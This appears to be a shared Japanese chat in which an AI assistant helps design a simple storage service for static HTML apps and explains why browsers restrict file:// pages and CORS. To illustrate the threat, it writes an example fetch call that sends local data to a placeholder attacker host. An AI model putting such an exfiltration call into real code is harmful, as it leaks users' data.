gists

Solidのストレージ思想を、もっとかんたんに実現したい。このようなストレージサービスを A とする。たとえば次のようにしてかんたんにアプリをつくれる。

1: todo.html をローカルで作成し、その保存先は secret key と storage name の２つだけ与えれば良いとする
2: A にて todo.html のストレージを事前に作成しておく

これだけで todo.html はデータの扱い含めて動作する。todo.html はローカルでブラウザで開いても動くし、github pages など静的サイトでも動く。

可能です。Solidの「アプリとストレージの分離」のエッセンスだけを残して、もっと単純なストレージサービスAとして再設計すると、提示の体験（ローカルHTMLでもGitHub Pagesでも動く、DB不要、保存先は“storage name + secret key”だけ）は作れます。

ただし成立させるために、何を“分離”として保証するかと、ブラウザ制約（CORS・秘密鍵の扱い）を最初に決める必要があります。以下、実現のための最小設計案を具体化します。

1) あなたの案の本質（Solid思想のミニマム版）

Solidから持ってくる要素

アプリは静的（HTML/JS）でよい
データはアプリ提供者のDBではなく、外部ストレージAに置く
アプリはHTTPでAに読み書きする
同じストレージに別アプリからもアクセスできる（データ形式が公開されていれば）

Solidから“省く/簡略化する”要素

WebIDやOIDCログイン（=人間の同意画面、委譲、細粒度権限）をやめる
代わりに「storage name + secret key」でアクセス権を表現する（実質的に“共有トークン”）

これは“ログインのないPod”みたいなものになります。用途（個人用、少人数共有、プロトタイピング）ならかなり現実的です。

2) 最小アーキテクチャ（サービスAが提供するもの）

Aが持つ概念

Storage（バケット）: storageName
Secret key: そのStorageへの権限を表すトークン（少なくともread/writeを区別できると良い）

Aが提供するAPI（例）

ブラウザから直接叩けるように CORS必須。

GET /v1/s/{storageName}/obj/{path} 取得
PUT /v1/s/{storageName}/obj/{path} 保存（上書き）
DELETE /v1/s/{storageName}/obj/{path} 削除
GET /v1/s/{storageName}/list?prefix=... 一覧
（任意）POST /v1/s/{storageName}/obj/ 新規作成（サーバー側でID採番）

認可は例えば：

Authorization: Bearer <secretKey>（推奨。URLに鍵を入れない）
あるいは ?key=... でも可能だが、ログ・リファラで漏れやすいので非推奨

データの置き方（Todoの例）

todo.json（構造化データ）
files/...（添付などバイナリ）
これだけで十分「アプリとデータの分離」になる

3) “todo.htmlをローカルで開いても動く”ための条件

ローカル file:// から外部APIへfetchするのは、ブラウザによって制約が厳しいです（特にChrome系）。

実現方法は3つあります：

推奨: todo.html をローカルでも http://localhost で配信して開く
- python -m http.server 等でOK
- 「静的でよい」という条件は維持できます（サーバーは“ホスティング”であってDBではない）
許容: ブラウザ拡張や起動フラグで制約を緩める（一般配布には不向き）
A側の工夫: todo.html をAのドメインから開く（=Aがホスティングも兼ねる）
- ただしGitHub Pagesでも動かしたいなら、結局CORS対応は必要

結論：GitHub Pages等の静的ホスティングで動くは比較的簡単。file://直開き対応は“追加条件”になります。

4) Secret key方式で避けられない課題（重要）

あなたの方式は便利ですが、SolidがわざわざOIDC/同意/委譲を入れている理由でもある落とし穴があります。

(A) 鍵をフロントに置く＝漏洩リスク

HTML/JSにベタ書きは論外
ユーザーが入力してローカル保存（localStorage等）でも、XSSがあると抜かれます
対策としては：
- 書き込み用キーと読み取り用キーを分ける
- キーを短命（期限付き）にする
- オリジン（配信元ドメイン）制限をかける（ただしGitHub Pages等で分散するなら難しい）

(B) “同意”や“アプリ単位の権限管理”ができない

secret keyを知ってるものは全部同権限
「このアプリには読み取りだけ」などの細かいUXは作りにくい
（作るなら、Aが“権限発行ページ”を持つ必要がある＝結局簡易OIDCの方向）

5) それでも「かんたん」を最大化する具体案（おすすめ構成）

あなたの要件に沿って、体験が良くて実装も軽い落としどころ：

提案：Aは「storage作成」＋「トークン発行」だけ提供

事前にAで storage を作る（あなたのStep2）
そこで発行されるのは
- readToken（公開してもよい/共有用）
- writeToken（秘密）
todo.htmlは
- 初回起動時に storageName と writeToken を入力
- 以後はブラウザに保存（ユーザー端末だけ）
- 共有したい場合はreadTokenだけ渡す、など

これで「Solidっぽい分離」と「現実的な安全性」のバランスが取れます。

6) 仕様を詰めるための質問（これで設計が確定します）

file://直開きは必須ですか？（必須なら対応策が変わります）
データは 公開/非公開どちら想定ですか？（非公開なら鍵管理がより重要）
Aは「単なるストレージ（S3的）」ですか、それとも「ユーザー管理・トークン発行UI」も持てますか？
将来、他アプリとの相互運用も狙いますか？（JSONスキーマ固定にする、など）

この4点が分かれば、API設計（エンドポイント、トークン形式、CORS、データモデル）を“最小で動く”ところまで具体的に提案できます。

ファイル直開きは必須です。デスクトップアプリを、html で実装した + データを A に保存するものと捉えてください。

可能です。ただし「ファイル直開き（file://）必須」という条件が付くと、ブラウザのセキュリティ制約のせいで、単純な fetch("https://A/...") では動かない（または環境依存になる）点だけは避けられません。なので、設計は次のどちらかになります。

結論：`file://`必須で成立する構成は2択

選択肢A（推奨）：Aへは“直接HTTP”せず、OS経由で同期する

todo.html（ローカルで開く）からは ローカルファイル（例：todo.local.json）だけを読み書き
Aへのアップロード/ダウンロードは 外部同期エージェントが担当
- 例：小さな常駐プロセス、CLI、タスクスケジューラ、あるいはWebDAVクライアント等
これなら file:// 制約に引っかからず、堅牢で、鍵もブラウザに露出しません

Solidの思想（アプリとストレージ分離）も保てます：アプリはローカル静的HTML、データはA、同期レイヤーだけ別。

体験：「HTMLをダブルクリックで起動 → 普通に使える → 裏でAに同期」

最小仕様（例）

ローカル：todo.local.json（常にこれが正）
A：/storages/{name}/todo.json（同期先）
同期方式：双方向（ETag/updatedAtで衝突検出）

この方式なら、Aは普通のHTTPストレージでOK（CORSすら不要な場合もある：同期エージェントがサーバーサイドHTTPを叩くため）。

選択肢B（“HTMLだけで完結”に寄せる）：Aを「専用プロトコルハンドラ」または「拡張」で橋渡しする

file://から外部に安全にアクセスできないなら、ブラウザの外側にブリッジを作ります。

代表例：

1) カスタムURLスキーム（例：a://storageName/path?...）

todo.html は location.href = "a://put?..." のように呼び出す
OSに登録されたアプリ（Aクライアント）が処理してAへ保存
結果を a://callback?... みたいに返す
→ 実装は重いが「配布はHTML + 小さなネイティブブリッジ」でいける

2) ブラウザ拡張（Chrome Extension / Firefox Add-on）

todo.html からは window.postMessage 等で拡張へ依頼
拡張が権限を持ってAへHTTPアクセス
→ file://でも比較的作りやすい（ただし配布が拡張前提）

3) （限定的）CORS + file origin許可に依存

環境によっては動くが、ユーザーのブラウザ設定依存になりがちで、一般配布には不向き

なぜ「HTMLだけで、file直開き + Aへfetch」が難しいのか

file:// は“ユニークオリジン”扱いで、ブラウザが外部通信やCORSを厳しく制限することがある
仮に fetch が通っても、secret keyをHTML/JSで扱うので漏洩面（XSS/端末奪取/ログ等）が厳しい
つまり「SolidがOIDC等を入れている理由」が、file://運用ではより顕在化します

あなたの要件に一番近いおすすめ（現実解）

「デスクトップアプリをHTMLで実装し、データをAに保存」という捉え方なら、

UI＝todo.html（file直開き）
データ＝ローカルJSON
同期＝小さなA同期ツール（同梱する）

が、実装難度と運用の安定性のバランスが一番良いです。Electronのような巨大ランタイム無しでも、Go/Rustで小さい同期バイナリを同梱できます。

確認したい2点（ここで方式が確定します）

1) 「HTML“だけ”で完結（外部バイナリ/拡張なし）」が必須ですか？
2) オフラインでも使える必要はありますか？（あるならローカル正本＋同期が最適）

この2点が分かれば、AのAPI（ETag/差分/暗号化の要否）と、最小の同期方式（片方向/双方向、衝突解決）まで具体案を出します。

file:// プロトコルってそんな CORS 厳しいんですか？なぜですか。

厳しいです。というより CORSというより「file:// は Web の“オリジン”モデルにうまく乗らないので、ブラウザが危険側に倒して制限する」のが本質です。

何が起きているか（CORS以前の話）

ブラウザは基本的に「同一オリジンポリシー(SOP)」で、ある“出自(origin)”のページが別の“出自”へアクセスできるかを管理します。

https://example.com の origin は明確（scheme/host/port）
しかし file:// は host/port の概念が薄く、OSのファイルパスが絡むため、origin を安全に定義しづらい
- 「全ての file:// が同一オリジン」だと、PC内の別フォルダのHTMLが互いに読めて危険
- 「各ファイルごとに別オリジン」だと、今度は正当な用途でもいろいろ壊れる

このため多くのブラウザは file:// を opaque origin（不透明オリジン） や ユニークオリジン 相当として扱い、通常のWebページより強い制限をかけます。

なぜ制限が強いのか（攻撃シナリオ）

file:// はユーザーのローカルファイルに直接触れられる入口なので、もしネットワークアクセスが緩いと危険が増えます。

典型的にブラウザが避けたいのは次です：

ユーザーが「ダウンロードしたHTML（例: 請求書.html）」をダブルクリックで開く
そのHTMLが裏で fetch("https://attacker.example/collect", { body: ... }) のように外部送信
さらにローカルの別ファイル内容（設定ファイル、別ディレクトリのデータ等）を何らかの手段で読み出せると、ローカル情報の持ち出しになる

実際には「ローカルファイルをJSで自由に読む」こと自体は多くのブラウザで禁止/制限されていますが、歴史的経緯や実装差、周辺API（画像読み込み・リンク辿り・例外的に許可されるケース等）を踏み台にした事故が起きやすいので、file:// からのネットワーク通信や他オリジン連携を保守的に絞る実装になりがちです。

CORS的にはどうなる？

CORSは「あるorigin（例 https://app.example）から別origin（例 https://api.example）にXHR/fetchする時、相手が許可したら読める」という仕組みです。

でも file:// の場合：

リクエストの Origin ヘッダが null になる（または付かない）ことがある
その結果、サーバー側は Access-Control-Allow-Origin: * でも通る場合/通らない場合があり、挙動が環境差になりやすい
ブラウザ側も「null origin は危険」として追加でブロックすることがある

つまり 「AがCORS許可すればOK」になりにくく、ブラウザ実装・設定依存になりやすいのが問題です。

まとめ（実務的な結論）

file:// は“Webアプリ”というより“ローカルファイル閲覧”の文脈なので、ブラウザは安全のため強く制限する
そのため file:// 直開き + 外部ストレージAPIへfetch は「動く環境もあるが、一般配布の前提にしにくい」になりがち

もし「あなたの環境（対象ブラウザ/OS）ではどこまで可能か」を確定したいなら、ターゲット（Chrome/Edge/Firefox/Safari、OS）を教えてください。その組み合わせで現実に通るパターン（Origin:null の扱い、必要ヘッダ、失敗しやすい条件）を具体的に整理できます。

This site is open source. Improve this page.